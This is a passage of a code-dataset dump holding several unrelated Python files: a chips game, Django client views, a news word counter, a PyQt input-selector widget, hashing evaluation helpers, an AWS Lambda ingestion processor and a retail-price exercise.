computerMove(1,3,5,8)\n (2, 3)\n >>> computerMove(2,4,7,3)\n (1, 4)\n >>> computerMove(2,5,7,9)\n (1, 5)\n >>> computerMove(1,6,9,8)\n (2, 2)\n \"\"\"\n computerPile = 0\n if humanPile == 1:\n computerPile = 2\n else:\n computerPile = 1\n\n return computerPile, humanChips\n\n#\n#end of computerMove ###########\n\n\n### MAIN PROGRAM ################\n#\n\nprint (\"Welcome to the game of chips. I know you know the rules so let's go.\\n\")\n\nnumChips = initializeGame()\n\npile1chips = numChips\npile2chips = numChips\ngameOver = False\n\nwhile not gameOver:\n print(\"Here are the piles \")\n displayPiles(pile1chips, pile2chips)\n print (\"It is your turn.\")\n\n humanPile, humanChips = getHumanMove(pile1chips, pile2chips)\n pile1chips, pile2chips = updatePiles(humanPile, humanChips, pile1chips, pile2chips)\n print(\"Here are the piles \")\n displayPiles(pile1chips, pile2chips)\n\n computerPile, computerChips = computerMove(humanPile, humanChips, pile1chips, pile2chips)\n pile1chips, pile2chips = updatePiles(computerPile, computerChips, pile1chips, pile2chips)\n print (\"Now it is my turn. I'm thinking ...\")\n time.sleep(3) #This is just to slow things down a little.\n print (\"I, the champion chips computer, will take\", computerChips, \"chips from pile\", computerPile)\n if pile1chips == 0 and pile2chips == 0:\n gameOver = True\n\nprint (\"The game is over and I won because I took the last chip.\")\nprint (\"Thanks for playing. You wanna wager next time?\")\n\n\nif __name__ == \"__main__\":\n doctest.testmod()\n\n'''\nNOTE: When I add spaces to the doctest in display piles in order for the result\nof display piles to match the doctest the extra spaces added are deleted by something\nwhen I save and run the program.\n\nFor getHumanMove I tested the function by entering values outside of the range\nof human pile (which in this case is [1,2]). The function passed the test when I got\nthe error handling message that I needed to enter a value that was between 1 and 2.\nfor the second return value of getHumanMove I entered values outside of the range of\n[0, p2chips]. This passed the test when I got the error message either that I needed\nto be higher than zero or lower than the opponent's chips. finally in a second\ndocument I copied and pasted the function and ran it as the parameter of a print\nfunction.\n\nI tested initializeGame by passing values lower than zero through the input. It\npassed the test when it printed the message that I needed to entere a value\nhigher than zero.\n'''\n","sub_path":"HW 2/Donaghe-Avynn_HW2.py","file_name":"Donaghe-Avynn_HW2.py","file_ext":"py","file_size_in_byte":7362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"641644813","text":"from django.shortcuts import render_to_response, render, redirect\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.context_processors import csrf\nfrom django.template import RequestContext\nfrom django.views.generic import View, TemplateView, ListView, DetailView, CreateView, FormView, UpdateView\nfrom Food.models import Food\nfrom Client.models import Client\nimport datetime\nfrom django.utils import timezone\nfrom django import forms\nfrom Client.forms import ClientForm\nfrom django.forms import ModelForm\nfrom mongoforms import MongoForm\n\nclass ClientsView(TemplateView):\n\ttemplate_name='ClientsView.html'\n\tdef get_context_data(self, **kwargs):\n\t\tcontext=super(ClientsView, self).get_context_data(**kwargs)\n\t\tif Client.objects:\n\t\t\tcontext['clients']=Client.objects.all()\n\t\treturn context\n\tdef get_template_names(self):\n\t\treturn 'ClientsView.html'\n\n#Tour.objects.get(pk=self.kwargs.get('pk'))\nclass SpecClientView(TemplateView):\n\ttemplate_name='SpecClientView.html'\n\tdef get_context_data(self, **kwargs):\n\t\tcontext=super(SpecClientView, self).get_context_data(**kwargs)\n\t\tpk=self.kwargs.get('pk')\n\t\tif Client.objects:\n\t\t\tcontext['clients']=Client.objects.filter(pk=pk)\n\t\treturn context\n\tdef get_template_names(self):\n\t\treturn 'SpecClientView.html'\n\n\nclass ClientCreateView(CreateView):\n\ttemplate_name='ClientCreateView.html'\n\tform_class=ClientForm\n\tform=ClientForm()\n\tsuccess_url = '/clients/all/'\n\tfields=['f_name','l_name','email','password']\n\nclass ClientUpdateView(UpdateView):\n\ttemplate_name='ClientUpdateView.html'\n\tform_class=ClientForm\n\tform=ClientForm()\n\tsuccess_url='/clients/all'\n\n\tdef get_queryset(self):\n\t\tpk=self.kwargs['pk']\n\t\treturn Client.objects.filter(pk=pk)\n\ndef delete(request,id):\n\tClient.objects.get(id=id).delete()\n\treturn redirect('/clients/all/')\n","sub_path":"Client/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"119002060","text":"import json\nimport re\nfrom collections import Counter\nimport codecs\n\nwith open('newsafr.json') as newsafr:\n newsafr = json.load(newsafr)\n\nwith codecs.open('newscy.json', 'r', encoding=\"cp1251\") as newscy:\n with codecs.open('newscy.json', 'r', encoding=\"koi8-r\") as newscy:\n newscy = json.load(newscy)\n\nwith codecs.open('newsfr.json', 'r', encoding=\"cp1252\") as newsfr:\n with codecs.open('newsfr.json', 'r', encoding=\"iso8859_5\") as newsfr:\n newsfr = json.load(newsfr)\n\n\nwith codecs.open('newsit.json', 'r', encoding=\"cp1252\") as newsit:\n with codecs.open('newsit.json', 'r', encoding=\"cp1251\") as newsit:\n newsit = json.load(newsit)\n\nrunning_program = True\n\ndef count_words(country_name, jname):\n temp = ''\n\n for i in range(len(jname['rss']['channel']['item'])):\n temp += jname['rss']['channel']['item'][i]['description']['__cdata']\n\n p = re.compile(r'<.*?>')\n\n temp = p.sub('', temp)\n\n temp = re.sub(\"^\\s+|\\n|\\r|\\s+$\", '', temp)\n\n temp = temp.replace(\"'\", ' ').replace('/', ' ').replace('.', ' ').replace(',', ' ').replace('\"', ' ')\n\n temp = temp.split(' ')\n\n long_words = []\n\n for i in range(len(temp)):\n if len(temp[i]) >= 6:\n long_words.append(temp[i])\n\n long_words = Counter(long_words)\n\n long_words = sorted(long_words.items(), key=lambda item: item[1])\n\n result = long_words[-10:]\n\n print(country_name + '. Топ 10 слов в новостях:')\n\n for i in reversed(result):\n print(i)\n\ndef count_words_1(country_name, jname):\n temp = ''\n\n for i in range(len(jname['rss']['channel']['item'])):\n temp += jname['rss']['channel']['item'][i]['description']\n\n p = re.compile(r'<.*?>')\n\n temp = p.sub('', temp)\n\n temp = re.sub(\"^\\s+|\\n|\\r|\\s+$\", '', temp)\n\n temp = temp.replace(\"'\", ' ').replace('/', ' ').replace('.', ' ').replace(',', ' ').replace('\"', ' ')\n\n temp = temp.split(' ')\n\n long_words = []\n\n for i in range(len(temp)):\n if len(temp[i]) >= 6:\n long_words.append(temp[i])\n\n long_words = Counter(long_words)\n\n long_words = sorted(long_words.items(), key=lambda item: item[1])\n\n result = long_words[-10:]\n\n print(country_name + '. Топ 10 слов в новостях:')\n\n for i in reversed(result):\n print(i)\n\n\nwhile running_program:\n country_id = input('Введите номер страны из списка: \\r\\n 1 - Африка\\r\\n 2 - Кипр\\r\\n 3 - Кипр\\r\\n 4 - Италия\\r\\n 0 - Выход\\r\\n')\n if country_id == '1':\n count_words('Африка', newsafr)\n if country_id == '2':\n count_words('Кипр', newscy)\n if country_id == '3':\n count_words('Кипр', newsfr)\n if country_id == '4':\n count_words_1('Италия', newsit)\n if country_id == '0':\n print('Программа завершена.\\r\\n До скорых встреч. ')\n running_program = False\n else:\n continue\n","sub_path":"news/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"322038636","text":"from controller import DataSourceController, DataSourceObserver\nfrom model import Model, ModelObserver\n\nfrom PyQt5.QtWidgets import QWidget, QGroupBox, QHBoxLayout\n\nclass QInputSelector(QWidget, DataSourceObserver):\n '''A Widget to select input data (probably images). There are\n different modes of selection: from an array, from a file, from a\n directory or from some predefined data source.\n\n Modes: there are currently different modes ('array' or 'dir').\n For each mode there exist a corresponding data source. The widget\n has a current mode and will provide data only from the\n corresponding data source.\n\n FIXME[attention]\n ATTENTION: this mode concept may be changed in future versions! It\n seems more plausible to just maintain a list of data sources.\n\n .. warning:: This docstring must be changed once the mode concept\n is thrown overboard\n\n Attributes\n ----------\n _index : int\n The index of the current data entry.\n\n '''\n _index: int = None\n\n def __init__(self, parent=None):\n '''Initialization of the QInputSelector.\n\n Parameters\n ---------\n parent : QWidget\n The parent argument is sent to the QWidget constructor.\n '''\n super().__init__(parent)\n self._initUI()\n\n\n def setController(self, controller: DataSourceController) -> None:\n \"\"\"Set the controller for this QInputSelector. Will trigger\n observation of the controller.\n\n Parameters\n ----------\n controller: DataSourceController\n Controller for mediating commands for the activations panel.\n\n \"\"\"\n super().setController(controller)\n self._source_selector.setController(controller)\n self._navigator.setController(controller)\n\n\n def _initUI(self):\n self._source_selector = QInputSourceSelector()\n self._navigator = QInputNavigator()\n\n sourceBox = QGroupBox('Data sources')\n sourceBox.setLayout(self._source_selector.layout())\n\n navigationBox = QGroupBox('Navigation')\n navigationBox.setLayout(self._navigator.layout())\n\n layout = QHBoxLayout()\n layout.addWidget(sourceBox)\n layout.addWidget(navigationBox)\n self.setLayout(layout)\n\n\n\n\nfrom datasources import (DataArray, DataFile, DataDirectory, DataWebcam,\n DataVideo, Predefined)\n\nfrom PyQt5.QtWidgets import (QWidget, QPushButton, QRadioButton, QGroupBox,\n QHBoxLayout, QVBoxLayout, QSizePolicy,\n QInputDialog, QComboBox,\n QFileDialog, QListView, QAbstractItemView,\n QTreeView)\n\n\nclass QInputSourceSelector(QWidget, DataSourceObserver):\n '''The QInputSourceSelector provides a controls to select a data\n source. It is mainly a graphical user interface to the datasource\n module, adding some additional logic.\n\n The QInputSourceSelector provides four main ways to select input\n data:\n 1. a collection of predefined data sets from which the user can\n select via a dropdown box\n 2. a file or directory, that the user can select via a file browser\n 3. a camera\n 4. a URL (not implemented yet)\n '''\n \n def __init__(self, parent=None):\n '''Initialization of the QInputNavigator.\n\n Parameters\n ---------\n parent : QWidget\n The parent argument is sent to the QWidget constructor.\n '''\n super().__init__(parent)\n self._initUI()\n\n def datasource_changed(self, controller, info):\n '''The QInputSourceSelector is only affected by changes of\n the DataSource.\n '''\n\n if info.datasource_changed:\n source = controller.get_datasource()\n\n if isinstance(source, Predefined):\n self._radioButtons['Name'].setChecked(True)\n id = source.get_public_id()\n index = self._datasetDropdown.findText(id)\n if index == -1:\n pass # should not happen!\n elif index != self._datasetDropdown.currentIndex():\n self._datasetDropdown.setCurrentIndex(index)\n elif isinstance(source, DataWebcam):\n self._radioButtons['Webcam'].setChecked(True)\n elif isinstance(source, DataVideo):\n self._radioButtons['Video'].setChecked(True)\n elif isinstance(source, DataFile):\n self._radioButtons['Filesystem'].setChecked(True)\n elif isinstance(source, DataDirectory):\n self._radioButtons['Filesystem'].setChecked(True)\n else:\n self._radioButtons['Filesystem'].setChecked(True)\n\n self._datasetDropdown.setEnabled(self._radioButtons['Name'].isChecked())\n # FIXME[old]\n # if isinstance(source, DataArray):\n # info = (source.getFile()\n # if isinstance(source, DataFile)\n # else source.getDescription())\n # if info is None:\n # info = ''\n # if len(info) > 40:\n # info = info[0:info.find('/', 10) + 1] + \\\n # '...' + info[info.rfind('/', 0, -20):]\n # self._radioButtons['Name'].setText('Name: ' + info)\n # elif isinstance(source, DataDirectory):\n # self._radioButtons['Filesystem'].setText('File: ' +\n # source.getDirectory())\n #####################################################################\n # Disable buttons, if necessary #\n #####################################################################\n\n\n def _initUI(self):\n '''Initialize the user interface.'''\n\n # Data sources\n self._radioButtons = {\n 'Name': QRadioButton('Predefined'),\n 'Filesystem': QRadioButton('Filesystem'),\n 'Webcam': QRadioButton('Webcam'),\n 'Video': QRadioButton('Video')\n }\n self._radioButtons['Video'].setEnabled(False)\n radioLayout = QVBoxLayout()\n for b in self._radioButtons.values():\n b.clicked.connect(self._radioButtonChecked)\n radioLayout.addWidget(b)\n\n self._openButton = QPushButton('Open')\n self._openButton.clicked.connect(self._openButtonClicked)\n self._openButton.setSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)\n\n self._datasetDropdown = QComboBox()\n size_policy = self._datasetDropdown.sizePolicy()\n size_policy.setRetainSizeWhenHidden(True)\n self._datasetDropdown.setSizePolicy(size_policy)\n dataset_names = Predefined.get_data_source_ids()\n self._datasetDropdown.addItems(dataset_names)\n self._datasetDropdown.setEnabled(False)\n self._datasetDropdown.currentIndexChanged.connect(self._predefinedSelectionChange)\n \n buttonsLayout = QVBoxLayout()\n buttonsLayout.addWidget(self._datasetDropdown)\n buttonsLayout.addWidget(self._openButton)\n\n sourceLayout = QHBoxLayout()\n sourceLayout.addLayout(radioLayout)\n sourceLayout.addLayout(buttonsLayout)\n self.setLayout(sourceLayout)\n\n def _radioButtonChecked(self):\n '''Callback for clicking the radio buttons.'''\n name = self.sender().text()\n if name == 'Name':\n self._datasetDropdown.setEnabled(True)\n self._openButton.setText('Load')\n elif name == 'Filesystem':\n self._datasetDropdown.setEnabled(False)\n self._openButton.setText('Open')\n elif name == 'Webcam':\n self._datasetDropdown.setEnabled(False)\n self._openButton.setText('Run')\n elif name == 'Video':\n self._datasetDropdown.setEnabled(False)\n self._openButton.setText('Play')\n self._datasetDropdown.setEnabled(self._radioButtons['Name'].isChecked())\n\n def _openButtonClicked(self):\n '''An event handler for the ``Open`` button.'''\n mode = None\n if self._radioButtons['Name'].isChecked():\n self._datasetDropdown.setVisible(True)\n name = self._datasetDropdown.currentText()\n print(f\"!!!{name}!!!\")\n data_source = Predefined.get_data_source(name)\n elif self._radioButtons['Filesystem'].isChecked():\n mode = 'Filesystem'\n # CAUTION: I've converted the C++ from here\n # http://www.qtcentre.org/threads/43841-QFileDialog-to-select-files-AND-folders\n # to Python. I'm pretty sure this makes use of\n # implemention details of the QFileDialog and is thus\n # susceptible to sudden breakage on version change. It's\n # retarded that there is no way for the file dialog to\n # accept either files or directories at the same time so\n # this is necessary.\n #\n # UPDATE: It appears setting the selection mode is\n # unnecessary if only single selection is desired. The key\n # insight appears to be using the non-native file dialog\n dialog = QFileDialog(self)\n dialog.setFileMode(QFileDialog.Directory)\n dialog.setOption(QFileDialog.DontUseNativeDialog, True)\n nMode = dialog.exec_()\n fname = dialog.selectedFiles()[0]\n import os\n if os.path.isdir(fname):\n data_source = DataDirectory(fname)\n else:\n data_source = DataFile(fname)\n elif self._radioButtons['Webcam'].isChecked():\n mode = 'Webcam'\n data_source = DataWebcam()\n elif self._radioButtons['Video'].isChecked():\n mode = 'Video'\n # FIXME[hack]: use file browser ...\n # FIXME[problem]: the opencv embedded in anoconda does not\n # have ffmpeg support, and hence cannot read videos\n data_source = DataVideo(\"/net/home/student/k/krumnack/AnacondaCON.avi\")\n self._controller.onSourceSelected(data_source)\n\n def _predefinedSelectionChange(self,i):\n if self._radioButtons['Name'].isChecked():\n self._datasetDropdown.setVisible(True)\n name = self._datasetDropdown.currentText()\n data_source = Predefined.get_data_source(name)\n self._controller.onSourceSelected(data_source)\n\n\n\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QFontMetrics, QIntValidator, QIcon\nfrom PyQt5.QtWidgets import QHBoxLayout, QSizePolicy\nfrom PyQt5.QtWidgets import QWidget, QPushButton, QLineEdit, QLabel\n\n\nclass QInputNavigator(QWidget, DataSourceObserver):\n\n def __init__(self, parent=None):\n '''Initialization of the QInputNavigator.\n\n Parameters\n ---------\n parent : QWidget\n The parent argument is sent to the QWidget constructor.\n '''\n super().__init__(parent)\n self._initUI()\n\n\n def datasource_changed(self, controller, info) -> None:\n datasource = controller.get_datasource()\n n_elems = 0 if datasource is None else len(datasource)\n valid = n_elems > 0\n\n print(f\"QInputNavigator.datasource_changed({info})\")\n if info.datasource_changed:\n if datasource is not None:\n self.infoDataset.setText(datasource.getDescription())\n self.infoLabel.setText('of ' + str(n_elems - 1) if valid else '*')\n if valid:\n self._indexField.setValidator(QIntValidator(0, n_elems))\n # Disable buttons, if necessary\n for elem in {self.firstButton,\n self.prevButton,\n self.nextButton,\n self.lastButton,\n self.randomButton,\n self._indexField}:\n elem.setEnabled(valid)\n\n if info.index_changed and valid:\n inputIndex = controller.get_index()\n self._indexField.setText(str(inputIndex))\n\n def _newNavigationButton(self, label: str, icon: str=None):\n button = QPushButton()\n icon = QIcon.fromTheme(icon, QIcon())\n if icon.isNull():\n button.setText(label)\n else:\n button.setIcon(icon)\n button.setSizePolicy(QSizePolicy.Maximum, QSizePolicy.Maximum)\n button.clicked.connect(self._navigationButtonClicked)\n return button\n\n def _initUI(self):\n '''Initialize the user interface.'''\n\n #\n # Navigation in indexed data source\n #\n self.firstButton = self._newNavigationButton('|<', 'go-first')\n self.prevButton = self._newNavigationButton('<<', 'go-previous')\n self.nextButton = self._newNavigationButton('>>', 'go-next')\n self.lastButton = self._newNavigationButton('>|', 'go-last')\n self.randomButton = self._newNavigationButton('random')\n\n # _indexField: A text field to manually enter the index of\n # desired input.\n self._indexField = QLineEdit()\n self._indexField.setMaxLength(8)\n self._indexField.setAlignment(Qt.AlignRight)\n self._indexField.setValidator(QIntValidator())\n self._indexField.textChanged.connect(self._editIndex)\n self._indexField.textEdited.connect(self._editIndex)\n self._indexField.setSizePolicy(\n QSizePolicy.Maximum, QSizePolicy.Maximum)\n self._indexField.setMinimumWidth(\n QFontMetrics(self.font()).width('8') * 8)\n\n self.infoLabel = QLabel()\n self.infoLabel.setMinimumWidth(\n QFontMetrics(self.font()).width('8') * 8)\n self.infoLabel.setSizePolicy(\n QSizePolicy.Maximum, QSizePolicy.Expanding)\n\n self.infoDataset = QLabel()\n \n navigationLayout = QHBoxLayout()\n navigationLayout.addWidget(self.firstButton)\n navigationLayout.addWidget(self.prevButton)\n navigationLayout.addWidget(self._indexField)\n navigationLayout.addWidget(self.infoLabel)\n navigationLayout.addWidget(self.nextButton)\n navigationLayout.addWidget(self.lastButton)\n navigationLayout.addWidget(self.randomButton)\n navigationMainLayout = QVBoxLayout()\n navigationMainLayout.addWidget(self.infoDataset)\n navigationMainLayout.addLayout(navigationLayout)\n self.setLayout(navigationMainLayout)\n #navigationBox.setLayout(navigationMainLayout)\n\n # FIXME[design]: can't this be directly connected to the controller?\n def _editIndex(self, text):\n '''Event handler for the edit field.'''\n self._controller.edit_index(text)\n\n def _navigationButtonClicked(self):\n '''Callback for clicking the 'next' and 'prev' sample button.'''\n if self.sender() == self.firstButton:\n self._controller.rewind()\n elif self.sender() == self.prevButton:\n self._controller.rewind_one()\n elif self.sender() == self.nextButton:\n self._controller.advance_one()\n elif self.sender() == self.lastButton:\n self._controller.advance()\n elif self.sender() == self.randomButton:\n self._controller.random()\n\n\nfrom PyQt5.QtWidgets import QWidget, QPushButton, QLabel\n\nimport numpy as np\n\n\nclass QInputInfoBox(QWidget, DataSourceObserver, ModelObserver):\n\n # FIXME[hack]: imageView: there should be no explicit reference\n # between widgets We need imageView._show_raw here. Think of some\n # suitable mechanism and then remove this hack ...\n def __init__(self, parent=None, imageView=None):\n '''Create a new QInputInfoBox.\n\n parent : QWidget\n Parent widget\n '''\n super().__init__(parent)\n self._imageView = imageView\n self._initUI()\n self._description = ''\n self.showInfo()\n\n def _initUI(self):\n '''Initialise the UI'''\n self._metaLabel = QLabel()\n self._dataLabel = QLabel()\n self._button = QPushButton('Statistics')\n self._button.setCheckable(True)\n self._button.toggled.connect(self.update)\n self._button.setSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)\n layout1 = QHBoxLayout()\n layout1.addWidget(self._metaLabel)\n layout1.addWidget(self._button)\n\n layout = QVBoxLayout()\n layout.addLayout(layout1)\n layout.addWidget(self._dataLabel)\n self.setLayout(layout)\n\n def setController(self, controller) -> None:\n # FIXME[hack]: we need a more reliable way to observe multiple observable!\n self.observe(controller.get_observable())\n\n def datasource_changed(self, controller, info):\n if info.index_changed:\n datasource = controller.get_datasource()\n if datasource is not None:\n index = controller.get_index()\n self._description = datasource.getName(index)\n else:\n self._description = ''\n\n def modelChanged(self, model, info):\n if info.input_changed:\n data = model.get_input_data(self._imageView._show_raw)\n self.showInfo(data)\n\n def showInfo(self, data: np.ndarray=None):\n '''Show info for the given (image) data.\n\n Parameters\n ----------\n data:\n the actual data\n description:\n some string describing the origin of the data\n '''\n self._meta_text = 'Input image:
\\n'\n self._meta_text += f'Description: {self._description}
\\n'\n\n self._data_text = ('Raw input:
\\n'\n if self._imageView._show_raw else\n 'Network input:
\\n')\n if data is not None:\n self._data_text += (f'Input shape: {data.shape}, '\n 'dtype={data.dtype}
\\n')\n self._data_text += ('min = {}, max={}, mean={:5.2f}, '\n 'std={:5.2f}\\n'.\n format(data.min(), data.max(),\n data.mean(), data.std()))\n self.update()\n\n def update(self):\n self._metaLabel.setText(self._meta_text)\n self._dataLabel.setText(\n self._data_text if self._button.isChecked() else '')\n","sub_path":"qtgui/widgets/inputselector.py","file_name":"inputselector.py","file_ext":"py","file_size_in_byte":18340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"494851997","text":"import time\nimport shutil\nimport numpy as np\nfrom pprint import pprint\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom scipy import io\nimport resource\nrlimit = resource.getrlimit(resource.RLIMIT_NOFILE)\nresource.setrlimit(resource.RLIMIT_NOFILE, (2048, rlimit[1]))\n\ndef EncodingOnehot(target, nclasses=10):\n target_onehot = torch.FloatTensor(target.size(0), nclasses)\n target_onehot.zero_()\n target_onehot.scatter_(1, target.view(-1, 1), 1)\n return target_onehot\n\ndef CalcHammingDist(B1, B2):\n q = B2.shape[1]\n distH = 0.5 * (q - np.dot(B1, B2.transpose()))\n return distH\n\ndef CalcMap(qB, rB, queryL, retrievalL):\n num_query = queryL.shape[0]\n map = 0\n for iter in range(num_query):\n gnd = (np.dot(queryL[iter, :], retrievalL.transpose()) > 0).astype(np.float32)\n tsum = np.sum(gnd)\n if tsum == 0:\n continue\n hamm = CalcHammingDist(qB[iter, :], rB)\n ind = np.argsort(hamm)\n gnd = gnd[ind]\n count = np.linspace(1, tsum, tsum)\n\n tindex = np.asarray(np.where(gnd == 1)) + 1.0\n map_ = np.mean(count / (tindex))\n map = map + map_\n map = map / num_query\n return map\n\ndef CalcTopMap(qB, rB, queryL, retrievalL, topk):\n num_query = queryL.shape[0]\n topkmap = 0\n for iter in range(num_query):\n gnd = (np.dot(queryL[iter, :], retrievalL.transpose()) > 0).astype(np.float32)\n hamm = CalcHammingDist(qB[iter, :], rB)\n ind = np.argsort(hamm)\n gnd = gnd[ind]\n\n tgnd = gnd[0:topk]\n tsum = np.sum(tgnd)\n if tsum == 0:\n continue\n count = np.linspace(1, tsum, tsum)\n\n tindex = np.asarray(np.where(tgnd == 1)) + 1.0\n topkmap_ = np.mean(count / (tindex))\n topkmap = topkmap + topkmap_\n topkmap = topkmap / num_query\n return topkmap\n\ndef validate(model, train_loader, test_loader, use_gpu=True, batch_size=100):\n mAP = 0.0\n train_bin = []\n test_bin = []\n train_labels = []\n test_labels = []\n\n model.eval()\n\n # Some stats to monitor the loss\n for iteration, data in enumerate(train_loader, 0):\n\n inputs, labels = data['image'], data['labels']\n\n\n if use_gpu:\n inputs = Variable(inputs.cuda())\n else:\n inputs = Variable(inputs)\n\n #forward\n y = model(inputs)\n\n\n\n train_bin.extend(y.data.cpu().numpy())\n train_labels.extend(labels.numpy())\n\n # Some stats to monitor the loss\n for iteration, data in enumerate(test_loader, 0):\n\n inputs, labels = data['image'], data['labels']\n\n\n if use_gpu:\n inputs = Variable(inputs.cuda())\n else:\n inputs = Variable(inputs)\n\n #forward\n y = model(inputs)\n\n test_bin.extend(y.data.cpu().numpy())\n test_labels.extend(labels.numpy())\n\n train_bin = np.sign(np.array(train_bin))\n test_bin = np.sign(np.array(test_bin))\n\n train_labels = np.array(train_labels)\n test_labels = np.array(test_labels)\n\n mAP = CalcTopMap(test_bin, train_bin, test_labels, train_labels, 5000)\n\n return mAP\n\n","sub_path":"Similarity Retrieval/COCO/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"395987100","text":"# Copyright 2018 Amazon.com, Inc. and its affiliates. All Rights Reserved.\n#\n# Licensed under the Amazon Software License (the \"License\").\n# You may not use this file except in compliance with the License.\n# A copy of the License is located at\n#\n# http://aws.amazon.com/asl/\n#\n# or in the \"license\" file accompanying this file. This file is distributed\n# on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n# express or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n#\n# Default processor\n\nfrom __future__ import print_function\n\nimport datetime\nimport logging\nimport os\n\nimport boto3\n\nfrom common import DatalakeIngestion\n\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(getattr(logging, os.getenv('LOG_LEVEL', 'INFO')))\nlogger.info('Loading processor DEFAULT')\n\n\n# Input pattern\n# pattern:\n# s3://bucket-raw\n# Example:\n# hive-ads/tables/impressions/dt=2009-04-14-13-00/ec2-0-51-75-39.amazon.com-2009-04-14-13-00.log\nREGEX = r\"(hive-ads)/(tables)/(impressions)/(dt=\\d{4}-\\d{2}-\\d{2}-\\d{2}-\\d{2})/([a-zA-Z0-9_.-]+.log)\"\n\n\ndef processor(**kwargs):\n key = kwargs.get('key')\n bucket = kwargs.get('bucket')\n context = kwargs.get('context')\n sns_topic_arn = kwargs.get('sns_topic_arn')\n header = kwargs.get('header')\n dynamo_db_control = kwargs.get('dynamo_db_control')\n bucket_target = kwargs.get('bucket_target')\n\n sns_client = boto3.client('sns')\n s3_client = boto3.client('s3')\n operation, system, table, partition, filename = key.split(\"/\")\n\n load_timestamp = datetime.datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S.000\")\n\n logger.debug(\"### Debug mode enabled ## \")\n logger.debug(\"bucket: {}\".format(bucket))\n logger.debug(\"key: {}\".format(key))\n logger.debug(\"operation: {}\".format(operation))\n logger.debug(\"system: {}\".format(system))\n logger.debug(\"table: {}\".format(table))\n logger.debug(\"filename: {}\".format(filename))\n logger.debug(\"partition: {}\".format(partition))\n\n ingestion = DatalakeIngestion(context, sns_topic_arn, header, dynamo_db_control)\n try:\n obj = s3_client.head_object(Bucket=bucket, Key=key)\n logger.debug(\"Object: {}\".format(obj))\n # This processor set the PATH with latest but other tables can use partitions like: year=yyyy/month=mm/day=dd\n s3_dir_stage = \"{}/{}/{}\".format(\n operation,\n system,\n table\n )\n key_target = \"{}/{}/{}\".format(s3_dir_stage, partition, filename)\n\n logger.debug(\"key_target: {}\".format(key_target))\n logger.debug(\"s3_dir_stage: {}\".format(s3_dir_stage))\n logger.info(\"S3 Copy from: s3://{}/{}\".format(bucket, key))\n logger.info(\" to: s3://{}/{}\".format(bucket_target, key_target))\n data = {\n 's3_object_name': \"s3://{}/{}\".format(bucket, key),\n 'raw_timestamp': load_timestamp,\n 'data_source': operation,\n 'bucket': bucket,\n 'object_name': filename,\n 's3_object_name_stage': \"s3://{}/{}\".format(bucket_target, key_target),\n 'file_status': 'INITIAL_LOAD',\n 's3_dir_stage': 's3://{}/{}'.format(bucket_target, s3_dir_stage),\n 'size': int(obj['ResponseMetadata']['HTTPHeaders']['content-length']),\n 'type': obj['ResponseMetadata']['HTTPHeaders']['content-type'],\n 'file_timestamp': obj['ResponseMetadata']['HTTPHeaders']['last-modified']\n }\n\n ingestion.copy_to_stage(bucket, key, bucket_target, key_target)\n ingestion.get_header(bucket, key)\n ingestion.send_to_dynamodb(data)\n ingestion.send_to_catalog(key, data)\n logger.debug('Finished the Datalake Ingestion process successfully')\n return\n\n except Exception as e:\n msg_exception = \"Error getting object {object} from bucket {bucket}.\\n\" \\\n \"Make sure they exist and your bucket is in the same region as this function.\\n\" \\\n \"S3 Bucket source: {bucket}\\n Key and filename: {object}\\nError: {error}\".format(\n bucket=bucket,\n object=key,\n error=e)\n logger.info(msg_exception)\n response = sns_client.publish(\n TargetArn=sns_topic_arn,\n Message=\"Lambda Function Name : {}\\n{}\".format(context.function_name, msg_exception)\n )\n logger.info(\"Published the error to SNS topic. {}\".format(response))\n","sub_path":"lambda/odl_datalake_ingestion/plugins/impressions.py","file_name":"impressions.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"248293050","text":"#! /usr/bin/env python3\n''' challenge 6.1\n\n\tTravis Bailey\n\tSun 6/11/2017\n\n\t\"Write a program that asks the user to enter an item's wolesale cost\n\tand its markup percentage. IT should then display the item's retail \n\tprice.\"\n'''\nimport logging\nlogging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s')\nlogging.debug('Start of program')\nlogging.disable(logging.CRITICAL)\n\ndef calculateRetail():\n\tlogging.debug('Start of calculateRetail(%s)')\n\n\tprint(\"What is the WHOLESALE_PRICE?\")\n\tWHOLESALE_PRICE = float(input('--> '))\n\tif (WHOLESALE_PRICE < 0):\n\t\traise Exception('Prices must be non-negative to be valid.\\n')\n\n\n\t# Ask for and revieve the Percentage \n\tprint(\"What is the MARKUP_PERCENTAGE? Enter percents in the format\")\n\tprint('##.## == 00.00 %')\n\n\n\tMARKUP_PERCENTAGE = float(input('--> '))/100\n\tlogging.debug('MARKUP_PERCENTAGE is ' + str(MARKUP_PERCENTAGE))\n\n\tif (MARKUP_PERCENTAGE < 0):\n\t\traise Exception('Percentages must be non-negative to be valid.\\n')\n\n\tRETAIL_PRICE = MARKUP_PERCENTAGE * WHOLESALE_PRICE\n\tlogging.debug('RETAIL_PRICE is ' + str(RETAIL_PRICE))\n\n\tprint('This item retails at: $' + '{:,.2f}'.format(RETAIL_PRICE) + '\\n')\n\ntry:\n\tprint('***************')\n\tprint('Howdy! This program takes input and calculates a retail price.')\n\tprint('Use CTRL-C to exit.')\n\tloop = 